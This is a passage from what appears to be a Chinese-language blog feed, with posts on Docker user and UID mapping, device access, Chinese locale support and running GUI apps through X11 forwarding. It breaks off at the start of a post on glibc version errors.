&lt;p&gt;可以创建一个普通用户&lt;code&gt;user&lt;&#x2F;code&gt;，在容器启动时切换到用户&lt;code&gt;user&lt;&#x2F;code&gt;执行，同时传入主机当前用户的&lt;code&gt;UID&lt;&#x2F;code&gt;和&lt;code&gt;GID&lt;&#x2F;code&gt;，修改容器&lt;code&gt;user&lt;&#x2F;code&gt;的属性，保证挂载后不改变 挂载点的文件属性（&lt;strong&gt;很重要&lt;&#x2F;strong&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;code&gt;Dockerfile&lt;&#x2F;code&gt;文件中&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# 创建用户user
RUN useradd -s &amp;#x2F;bin&amp;#x2F;bash -m user
# 指定启动项docker-entrypoint.sh
COPY docker-entrypoint.sh .&amp;#x2F;
RUN chmod a+x docker-entrypoint.sh &amp;amp;&amp;amp; \
    chown user:user docker-entrypoint.sh
ENTRYPOINT [&amp;quot;&amp;#x2F;app&amp;#x2F;docker-entrypoint.sh&amp;quot;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启动容器时指定运行&lt;code&gt;docker-entrypoing.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#!&amp;#x2F;bin&amp;#x2F;bash

# 判断当前用户是否是`root`
if [ &amp;quot;$(id -u)&amp;quot; -eq &amp;#x27;0&amp;#x27; ]
then
    # 获取用户传入的UID&amp;#x2F;GID
    UID=${UID:-9001}
    GID=${GID:-9001}
    # 修改user属性音频
    usermod -u ${UID} -g ${GID} -a -G root user  &amp;gt; &amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1

    export HOME=&amp;#x2F;home&amp;#x2F;user
    chown -R ${UID}:${GID} ${HOME} &amp;gt; &amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1
    # 使用工具gosu切换当前用户为user，并重新执行docker-entrypoint.sh
    exec gosu user &amp;quot;$0&amp;quot; &amp;quot;$@&amp;quot;
fi

# 以user身份执行
exec &amp;quot;$@&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过用户的创建和属性的修改，能够保证挂载点的文件属性不发生改变&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yin-pin-shi-pin&quot;&gt;音频&#x2F;视频&lt;&#x2F;h2&gt;
&lt;p&gt;容器默认无法使用主机硬件，所以对于某些软件需要使用音频&#x2F;视频等设备需要额外添加参数&lt;&#x2F;p&gt;
&lt;p&gt;可以在启动时指定容器要访问的设备，传入相应硬件组&lt;code&gt;ID&lt;&#x2F;code&gt;，比如&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# 查询主机组ID
$ cat &amp;#x2F;etc&amp;#x2F;group | grep audio
audio:x:29:pulse
$ cat &amp;#x2F;etc&amp;#x2F;group | grep video
video:x:44:

# 访问音频
$ docker run --device &amp;#x2F;dev&amp;#x2F;snd:&amp;#x2F;dev&amp;#x2F;snd -e AUDIO_ID=`getent group audio | cut -d: -f3` ...
# 访问视频
$ docker run --device &amp;#x2F;dev&amp;#x2F;video0:&amp;#x2F;dev&amp;#x2F;video0 -e VIDEO_GID=`getent group video | cut -d: -f3` ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果出现以下错误信息，很有可能容器还是无法正确使用硬件&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;libGL error: MESA-LOADER: failed to retrieve device information
libGL error: Version 4 or later of flush extension not found
libGL error: failed to load driver: i915
libGL error: failed to open drm device: No such file or directory
libGL error: failed to load driver: i965
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参数&lt;code&gt;--privileged&lt;&#x2F;code&gt;表示容器可以使用主机所有硬件设备&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ docker run --privileged ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以加入&lt;code&gt;--privileged&lt;&#x2F;code&gt;就可以了&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhong-wen-zhi-chi&quot;&gt;中文支持&lt;&#x2F;h2&gt;
&lt;p&gt;中文支持包括&lt;code&gt;4&lt;&#x2F;code&gt;个方面，&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;中文字符集&lt;&#x2F;li&gt;
&lt;li&gt;中文字体&lt;&#x2F;li&gt;
&lt;li&gt;时区&lt;&#x2F;li&gt;
&lt;li&gt;中文输入法&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;参考[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zj-linux-guide.readthedocs.io&#x2F;zh_CN&#x2F;latest&#x2F;tool-install-configure&#x2F;%5BLOCALE%5D%E5%AD%97%E7%AC%A6%E9%9B%86%E8%AE%BE%E7%BD%AE&#x2F;&quot;&gt;locale]字符集设置&lt;&#x2F;a&gt;设置&lt;code&gt;zh_CN.UTF-8&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;出现中文乱码时，参考[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zj-linux-guide.readthedocs.io&#x2F;zh_CN&#x2F;latest&#x2F;tool-install-configure&#x2F;%5BUbuntu%5D%E4%B8%AD%E6%96%87%E4%B9%B1%E7%A0%81&#x2F;&quot;&gt;Ubuntu]中文乱码&lt;&#x2F;a&gt;安装中文字体;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install ttf-wqy-microhei   #文泉驿-微米黑
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;中国处于东八区，和默认时区相差&lt;code&gt;8&lt;&#x2F;code&gt;个小时，参考[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zj-linux-guide.readthedocs.io&#x2F;zh_CN&#x2F;latest&#x2F;tool-install-configure&#x2F;%5Blocaltime%5D%E8%AE%BE%E7%BD%AE%E6%97%B6%E5%8C%BA&#x2F;&quot;&gt;localtime]设置时区&lt;&#x2F;a&gt;进行设置&lt;&#x2F;p&gt;
&lt;p&gt;关于中文输入法使用，在容器启动时设置环境变量即可&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker run \
        -e XMODIFIERS=&amp;quot;@im=fcitx&amp;quot; \
        -e QT_IM_MODULE=&amp;quot;fcitx&amp;quot; \
        -e GTK_IM_MODULE=&amp;quot;fcitx&amp;quot; \
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Docker容器运行GUI程序的配置方法</title>
        <published>2024-08-21T00:00:00+00:00</published>
        <updated>2024-08-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/docker容器运行gui程序的配置方法/"/>
        <id>https://vercel.juzhong.asia/obsidian/docker容器运行gui程序的配置方法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/docker容器运行gui程序的配置方法/">&lt;h1 id=&quot;dockerrong-qi-yun-xing-guicheng-xu-de-pei-zhi-fang-fa&quot;&gt;Docker容器运行GUI程序的配置方法&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;jie-jue-fang-an-2-yi-jing-qi-dong-de-rong-qi-xiu-gai-xi-tong-can-shu&quot;&gt;解决方案2—已经启动的容器修改系统参数&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.csdn.net&#x2F;wzw_mzm&#x2F;article&#x2F;details&#x2F;70916202&quot;&gt;参考文章&lt;&#x2F;a&gt;
有的时候，我们在已经启动的容器里做了一些事情，有了显示图像的需要，但从头新启动一个容器有点麻烦。
这时候可以用上面博客里讲的方法实现图形界面显示，也还算方便。
思路上也是把主机和docker看做服务器和客户端的关系，通过IP地址来映射显示。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ju-ti-cao-zuo&quot;&gt;具体操作&lt;&#x2F;h4&gt;
&lt;p&gt;1）使用 ifconfig 查看主机和docker的IP地址
例如：主机的IP为 xxx
docker 的IP为YYY
2）docker 中&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export DISPLAY= XXX       #把环境变量映射到主机IP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;3.）主机中&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo gedit &amp;#x2F;etc&amp;#x2F;lightdm&amp;#x2F;lightdm.conf      #增加一行    xserver-allow-tcp=true
sudo systemctl restart lightdm
xhost  +                #注意加号前应有空格
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样配置就完成了，这是第一次配置的操作.
以后每次重新开机时，还是要在主机里运行一下 xhost +,在docker里运行一下export DISPLAY= XXX 。
其实还是挺麻烦的。
最关键的是，这种方式用的是IP地址，在系统没联网时，网卡就没有分配的IP地址了，这种方法就行不通了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dockeryun-xing-guiruan-jian-de-fang-fa&quot;&gt;Docker运行GUI软件的方法&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;jian-jie&quot;&gt;简介：&lt;&#x2F;h2&gt;
&lt;p&gt;Docker通过namespace将容器与主机上的网络和运行环境进行了隔离，默认情况下，在容器中运行带界面的软件在外部是看不到的。在这个分享中，将介绍通过共享X11套接字让外部主机显示容器中运行的程序界面的方法。并讨论在『运行本地的GUI程序』和『运行远程服务器上的GUI程序』两种场景的下的实现原理。&lt;&#x2F;p&gt;
&lt;p&gt;Docker比较常用的场景是『运行无界面的后台服务』或者『运行基于的Web服务』。不过有时出于个人的喜好或特定的需求，我们会希望在Docker中运行带图形界面的应用程序。&lt;&#x2F;p&gt;
&lt;p&gt;比如，在今年的『Docker全球开发者大会』上，Docker自家的美女程序员『杰西·弗莱泽尔（Jessie Frazelle）』展示了一系列黑魔法一样的镜像。这些镜像中的大多数都使用了图形界面。&lt;&#x2F;p&gt;
&lt;p&gt;DaoCloud的孙宏亮在现场通过博客直播了&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.daocloud.io&#x2F;dockercon-day-2-jessie-image&quot;&gt;她的演讲&lt;&#x2F;a&gt;。看到这张照片很多人应该已经认出她了。&lt;&#x2F;p&gt;
&lt;p&gt;Jessie在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.jessfraz.com&#x2F;post&#x2F;docker-containers-on-the-desktop&#x2F;&quot;&gt;自己的博客&lt;&#x2F;a&gt;里介绍这些镜像时说，她十分欣赏苹果的Mac电脑中每个应用程序使用独立沙盒中运行的做法，这样避免了应用程序将配置文件和运行过程中生成的临时文件散乱的丢在系统各种目录中。Jessie现在的工作环境主要是Debian系统，出于这种喜好，她将自己常用的各种软件统统使用Docker容器化了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jiang-rong-qi-zhong-de-tu-xing-jie-mian-zhan-shi-dao-wai-bu-de-yi-ban-xing-si-lu&quot;&gt;将容器中的图形界面展示到外部的一般性思路。&lt;&#x2F;h3&gt;
&lt;p&gt;目前Unix&#x2F;Linux比较主流的图形界面服务是X11，而X11服务的图形显示方式实际上是一种Client&#x2F;Server模式，在服务端和客户端之间，X11通过『DISPLAY』环境变量来指定将图形显示到何处。如下面的流程所示，请注意服务端与客户端的位置，服务端是用于提供显示信息的。&lt;&#x2F;p&gt;
&lt;p&gt;[应用程序]-&amp;gt;[X11客户端]-&amp;gt;[X11服务端]-&amp;gt;[显示屏幕]&lt;&#x2F;p&gt;
&lt;p&gt;DISPLAY的格式是『unix:端口』或『主机名:端口』，前一种格式表示使用本地的unix套接字，后一种表示使用tcp套接字。&lt;&#x2F;p&gt;
&lt;p&gt;默认情况下，X11的服务端会监听本地的『unit:0』端口，而DISPLAY的默认值为『:0』，这实际上是『unit:0』的简写。因此如果在Linux的控制台启动一个图形程序，它就会出现在当前主机的显示屏幕中。&lt;&#x2F;p&gt;
&lt;p&gt;基于这个原理，将Docker中的GUI程序显示到外面，就是通过某种方式把X11的客户端的内容从容器里面传递出来。基本的思路无非有两种：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;通过SSH连接或远程控制软件，最终通过tcp套接字将数据发送出来&lt;&#x2F;li&gt;
&lt;li&gt;让容器和主机共享X11的unix套接字，直接将数据发送出来&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;从应用场景上划分，又可以分成两类情况：『运行本地的GUI程序』和『运行远程服务器上的GUI程序』。这两类情况在操作上很相似，但前者可以使用unix套接字，而后者必然要使用tcp套接字转发，原理上有很大差别。先说本地运行GUI程序的情况。&lt;&#x2F;p&gt;
&lt;p&gt;以Jessie在Docker开发者大会上做的第一个演示『LibreOffice』为例。这个镜像的Dockerfile代码和使用方法都已经&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;jfrazelle&#x2F;dockerfiles&#x2F;blob&#x2F;master&#x2F;libreoffice&#x2F;Dockerfile&quot;&gt;开源在Github&lt;&#x2F;a&gt;上了。&lt;&#x2F;p&gt;
&lt;p&gt;不知道有多少人实际测试过Jessie在博客或者Docker开发者大会上用过的例子，我相信其中应该有些人会发现，直接运行这些例子是行不通的。下面是我的运行环境：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ cat lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION=&amp;quot;Ubuntu 14.04.2 LTS&amp;quot;
$ docker --version
Docker version 1.7.1, build 786b29d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是一个全新的Ubuntu系统，仅仅添加了Docker等基本的软件。&lt;&#x2F;p&gt;
&lt;p&gt;在LibreOffice的Dockerfile注释里提供了运行方法：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ docker run -d \
  -v &amp;#x2F;etc&amp;#x2F;localtime:&amp;#x2F;etc&amp;#x2F;localtime:ro \
  -v &amp;#x2F;tmp&amp;#x2F;.X11-unix:&amp;#x2F;tmp&amp;#x2F;.X11-unix \
  -e DISPLAY=unix$DISPLAY \
  -v $HOME&amp;#x2F;slides:&amp;#x2F;root&amp;#x2F;slides \
  -e GDK_SCALE \
  -e GDK_DPI_SCALE \
  --name libreoffice \
  jess&amp;#x2F;libreoffice
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中的『-v &#x2F;tmp&#x2F;.X11-unix:&#x2F;tmp&#x2F;.X11-unix』参数就是将主机上X11的unix套接字共享到了容器里面。因为每个unix套接字实际上就是系统&#x2F;tmp&#x2F;.X11-unix目录下面依据套接字编号命名的一个特殊文件。&lt;&#x2F;p&gt;
&lt;p&gt;命令执行完，LibreOffice并没有启动。&lt;&#x2F;p&gt;
&lt;p&gt;好在刚刚已经说过这茬，所以还不算太意外。看一下日志：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ docker logs libreoffice
No protocol specified
Failed to open display
javaldx: Could not find a Java Runtime Environment!
Warning: failed to read path from javaldx
No protocol specified
No protocol specified
No protocol specified
No protocol specified
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是由于X11服务默认只允许『来自本地的用户』启动的图形程序将图形显示在当前屏幕上。对于Jessie的运行环境，她应该的已经修改了这个设置，但并没有在博客中提及。对于大多数的Linux用户来说，直接运行博客中的命令，都应该会遇到这个问题。&lt;&#x2F;p&gt;
&lt;p&gt;解决的办法很简单，允许所有用户访问X11服务即可。这个事情可以用xhost命令完成。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo apt-get install x11-xserver-utils
$ xhost +
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参数『+』表示允许任意来源的用户。&lt;&#x2F;p&gt;
&lt;p&gt;现在再次运行前面的docker run命令，就会看到LibreOffice启动起来了，速度相当快。由于是直接共享了X11的unix套接字，在效率上与运行安装在主机上的程序基本没有差异。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zai-yuan-cheng-fu-wu-qi-shang-yong-dockeryun-xing-guicheng-xu-de-qing-kuang&quot;&gt;在远程服务器上用Docker运行GUI程序的情况。&lt;&#x2F;h3&gt;
&lt;p&gt;这种情况多出现在将Docker作为产品测试环境使用的场景。利用Docker用后既消除的特点，能够快速的为每次测试提供干净的上下文环境。有时为了在非Linux系统中使用Linux的图形化软件，也可以通过远程Docker运行的方法实现。&lt;&#x2F;p&gt;
&lt;p&gt;此时，整个数据连接实际就变成了这样的：&lt;&#x2F;p&gt;
&lt;p&gt;[应用程序]-&amp;gt;[X11客户端]-&amp;gt;[SSH服务端]-&amp;gt;[SSH客户端]-&amp;gt;[X11服务端]-&amp;gt;[显示屏幕]&lt;&#x2F;p&gt;
&lt;p&gt;这种情况实际上已经演化成为了通过tcp套接字转发的X11连接，只不过用户并没有直接使用SSH连接到容器里面的tcp端口上，而是连接到了远程主机。相应的X11数据先从容器传递到了主机，再通过SSH通过传递到了用户的电脑上。&lt;&#x2F;p&gt;
&lt;p&gt;这就必须有要求用于展示的用后电脑安装有X11服务，大多数的Linux系统默认就具备了，Mac系统可以安装XQuartz软件，Windows则可以使用Xming等第三方X11服务端实现。首先将本地的X11服务运行起来。&lt;&#x2F;p&gt;
&lt;p&gt;其次，当用户使用SSH连接运行程序的服务器时，应该开启SSH的『X11-Forwarding』功能。具体来说，有两个注意点。&lt;&#x2F;p&gt;
&lt;p&gt;1）检测服务器上的&#x2F;etc&#x2F;ssh&#x2F;sshd_config文件，是否已经有『X11Forwarding yes』这样的配置，如果没有则需要加上。&lt;&#x2F;p&gt;
&lt;p&gt;2）当连接到服务器时，应该在ssh命令后面加上-X参数，表示使用X11-Forwarding特性。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ssh -X &amp;lt;user&amp;gt;@&amp;lt;ip-addr&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;登陆上去后运行刚才的docker run命令，并不能看到LibreOffice运行起来的迹象。通过log发现错误还是『Failed to open display』。在前面已经说过，对于远程连接运行GUI的情况，必然要换成tcp套接字的X11转发方式。而命令中的『-v &#x2F;tmp&#x2F;.X11-unix:&#x2F;tmp&#x2F;.X11-unix』参数仅仅是共享了unix套接字。那么怎样才能换成tcp套接字呢？需要修改两个地方：&lt;&#x2F;p&gt;
&lt;p&gt;1）首先为容器里面设置的环境变量『DISPLAY』，不能是『unix$DISPLAY』了&lt;&#x2F;p&gt;
&lt;p&gt;2）其次共享unix套接字可以不必了，而是要用『--net=host』让容器内的网络环境与主机共享&lt;&#x2F;p&gt;
&lt;p&gt;DISPLAY改成什么呢？首先要看SSH登陆后得到的系统DISPLAY变量值，我这里看到的是『localhost:10.0』，主机的localhost:10.0到了容器里面就要变成0.0.0.0:10.0。原因不解释了，这个是Docker默认添加的映射。&lt;&#x2F;p&gt;
&lt;p&gt;因此DISPLAY的值应该赋予『0.0.0.0:10.0』。可以简写为『:10.0』，X11会先去找unix:10.0，发现没有那个套接字文件，然后就会去试0.0.0.0:10.0。结果是一样的。修改过后的启动命令变成了：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  $ docker run -d \
  -v &amp;#x2F;etc&amp;#x2F;localtime:&amp;#x2F;etc&amp;#x2F;localtime:ro \
  --net=host \
  -e DISPLAY=:10.0 \
  -v $HOME&amp;#x2F;slides:&amp;#x2F;root&amp;#x2F;slides \
  -e GDK_SCALE \
  -e GDK_DPI_SCALE \
  --name libreoffice \
  jess&amp;#x2F;libreoffice
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再次运行这个镜像，然而，依旧没有看到LibreOffice。查看Docker logs，这次的错误信息是：&lt;&#x2F;p&gt;
&lt;p&gt;『X11 connection rejected because of wrong authentication』。&lt;&#x2F;p&gt;
&lt;p&gt;这是因为在使用SSH通道转发X11时，会生成一个随机的授权cookie，存放在服务器的Xauthority文件中。这个cookie会在每次X11客户端发送数据时被用到。我们使用了『--net=host』参数后，容器中的X11客户端将直接通过tcp套接字与外部通信，然而容器里面并没有这个授权文件。因此我需要加上参数『-v $HOME&#x2F;.Xauthority:&#x2F;root&#x2F;.Xauthority』把授权文件也放到容器里面。此外，启动命令中的两个GDK开头的环境变量在服务器端的Ubuntu上是不存在的，因此也可以删掉。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们得到了最终的启动命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  $ docker run -d \
  -v &amp;#x2F;etc&amp;#x2F;localtime:&amp;#x2F;etc&amp;#x2F;localtime:ro \
  --net=host \
  -e DISPLAY=:10.0 \
  -v $HOME&amp;#x2F;slides:&amp;#x2F;root&amp;#x2F;slides \
  -v $HOME&amp;#x2F;.Xauthority:&amp;#x2F;root&amp;#x2F;.Xauthority \
  --name libreoffice \
  jess&amp;#x2F;libreoffice
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行这个命令后，就看到LibreOffice已经在本地电脑的显示器上运行起来啦！&lt;&#x2F;p&gt;
&lt;p&gt;这个在Mac上看到的LibreOffice，程序本身运行在远程服务器的Docker里面。同样的方法也可以适应于Jessie的其他镜像。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;q-a&quot;&gt;Q&amp;amp;A:&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;问题1. X11是什么，与KDE有什么区别？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;林帆：&lt;&#x2F;strong&gt; X11是Linux下面的界面显示服务。KDE是一种窗口管理软件，是具体的界面，X11是在更下面一层的协议层。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题2. 在服务端运行GUI镜像时会收到网络的影响画面卡顿吗?&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;林帆：&lt;&#x2F;strong&gt; 这个和网速关系比较大。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题3. 通过这种gui方式，是不是可以做docker桌面云了？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;林帆：&lt;&#x2F;strong&gt; 不算是，因为这种做法需要SSH登录，其实有点不安全.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题4. 可以多用户连接同一docker image不？就像remote desktop service一样？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;林帆：&lt;&#x2F;strong&gt; 用这种方式不能，SSH的X-Forwarding是单点的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题5. 可以考虑用xvfb吗？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;林帆：&lt;&#x2F;strong&gt; 原理上是可以的，不过这样就看不到运行的界面了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题6. 理论上讲,只要配置合理正确并且GUI支持X11,这种方式可以运行大部分linux下的gui应用?&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;林帆：&lt;&#x2F;strong&gt; 是的，对于应用程序本身感觉不到图像是被现实到了本地还是远程的屏幕上&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;问题7. 请问在docker上运行的gui应用，应用间的互操作性如何保障？x11协议应该只能转发显示数据，无法转发实际数据（如电子表格中的数据，用以粘贴到其他打开的文档文件中），是否有其他协议可以保证互操作性？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;林帆：&lt;&#x2F;strong&gt; 目前看来互操作的话只能用其他协议代替X11了，比如VNC或者FreeNX。X11协议中，剪贴板的数据都是保存在X的客户端，两个远程窗口之间不能共享。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;docker-ubuntushi-yong-vncyun-xing-ji-yu-dockerrong-qi-li-de-zhuo-mian-xi-tong&quot;&gt;Docker: Ubuntu使用VNC运行基于Docker容器里的桌面系统&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;chengly0129&#x2F;article&#x2F;details&#x2F;70215018&quot;&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;chengly0129&#x2F;article&#x2F;details&#x2F;70215018&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fcwu&#x2F;docker-ubuntu-vnc-desktop&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;fcwu&#x2F;docker-ubuntu-vnc-desktop&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>glibc 版本（version `GLIBC_2.14&#x27; not found）</title>
        <published>2024-08-20T00:00:00+00:00</published>
        <updated>2024-08-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/glibc-版本-version-`glibc_2.14-not-found/"/>
        <id>https://vercel.juzhong.asia/obsidian/glibc-版本-version-`glibc_2.14-not-found/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/glibc-版本-version-`glibc_2.14-not-found/">&lt;h1 id=&quot;glibc-ban-ben-version-glibc-2-14-not-found&quot;&gt;glibc 版本（version `GLIBC_2.14&#x27; not found）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;jian-shu&quot;&gt;简述&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;oloroso&#x2F;p&#x2F;12877210.html#3000320366&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;很多时候，没法使用高版本系统，或者升级 &lt;code&gt;glibc&lt;&#x2F;code&gt; 版本，导致很多兼容性问题。这类的答案网上有很多，给出的解决方案也不少，这里做个简单的记录，方便参考。&lt;&#x2F;p&gt;
&lt;p&gt;大致来说，有这么几种方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;在低版本环境下编译，在高版本环境下使用。（比如在 centos 6 上使用 gcc 编译的程序，可以跑在 ubuntu 18.04）&lt;&#x2F;li&gt;
&lt;li&gt;使用静态链接 &lt;code&gt;libc&lt;&#x2F;code&gt; （&lt;code&gt;libstd++&lt;&#x2F;code&gt; ）的方式。（依赖库太多的时候，蛮麻烦的，也要考虑glibc对内核版本的要求）&lt;&#x2F;li&gt;
&lt;li&gt;符号替换，使用低版本符号替换编译环境下的高版本符号，或使用链接器的wrap选项实现 libc 函数的包装。&lt;&#x2F;li&gt;
&lt;li&gt;发布程序自带 &lt;code&gt;libc.so&lt;&#x2F;code&gt; 等，链接时指定&lt;code&gt;-Wl,-rpath&lt;&#x2F;code&gt; 或添加环境变量 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt; 来使用自带的动态库。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;jie-jue-zhe-ge-wen-ti-de-cheng-xu&quot;&gt;解决这个问题的程序&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;oloroso&#x2F;p&#x2F;12877210.html#3786976441&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-glibc-hack-jiao-ben&quot;&gt;1、 glibc_hack 脚本&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;oloroso&#x2F;p&#x2F;12877210.html#2066044954&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;这是一个可以修改二进制文件，将 GLIBC_版本符号 替换为 弱引用（weak）的脚本。 使用弱引用版本的程序，任会输出错误消息，但在运行时不会直接终止该程序。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.lightofdawn.org&#x2F;wiki&#x2F;wiki.cgi&#x2F;NewAppsOnOldGlibc&quot;&gt;《在旧的glibc上运行新的应用程序》&lt;&#x2F;a&gt; 这里阐述了这个脚本的处理过程，使用这个脚本并非很优的做法。&lt;&#x2F;p&gt;
&lt;p&gt;这个脚本的处理是比较简单的，处理的情况也有限（2.14），适用情况有限。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Copy #Programatically do the steps outlined at
# http:&amp;#x2F;&amp;#x2F;www.lightofdawn.org&amp;#x2F;wiki&amp;#x2F;wiki.cgi&amp;#x2F;NewAppsOnOldGlibc
